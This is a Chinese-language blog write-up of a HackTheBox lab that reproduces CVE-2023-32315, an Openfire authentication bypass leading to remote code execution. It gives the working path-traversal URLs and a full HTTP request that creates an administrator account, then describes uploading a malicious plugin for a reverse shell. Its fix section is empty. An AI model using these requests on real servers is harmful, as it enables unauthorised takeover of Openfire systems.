CVE-2023-32315:Openfire身份认证绕过&后台RCE漏洞
0x00 前言
最近打HTB靶场过程中,遇到过两次Openfire相关漏洞,本次就单独梳理出来。
0x01 漏洞描述
Openfire是一款基于XMPP(前称Jabber,即时通讯协议)的跨平台开源实时协作(RTC)服务器,它是基于java语言开发的,提供了一套完整的实时通信解决方案,能够构建高效率的即时通信服务器,并支持上万并发用户数量。
但Openfire存在认证绕过漏洞,未经身份认证的远程攻击者可以构造恶意请求未授权访问后台页面,最终上传恶意文件实现远程代码执行
0x02 影响版本
3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire 4.7.x < 4.7.5
0x03 漏洞复现
本次以HTB中的Solarlab中的Openfire为例:
访问http://x.x.x.:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
,如果能未授权访问到日志文件,说明存在该漏洞
先获得 JSESSIONID 和 csrftoken
1 | GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1 |
1 | JSESSIONID=node013h0l9ukcoeaw1163xaatfgvb35.node0 |
得到了JSESSIONID和csrf之后再创建一个用户
1 | GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=OBwT92asQjLPqBJ&username=test&name=&email=&password=test&passwordConfirm=test&isadmin=on&create=Create+User HTTP/1.1 |
利用创建的用户test/test成功登录后台
在后台界面按照下图路径上传插件的恶意jar包,反弹shell
在Server->Server Settings处访问上传的shell
输入密码123访问shel
选择系统命令来反弹一个shell或者执行系统命令
0x04 修复建议
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Xiaolitx's blog!
评论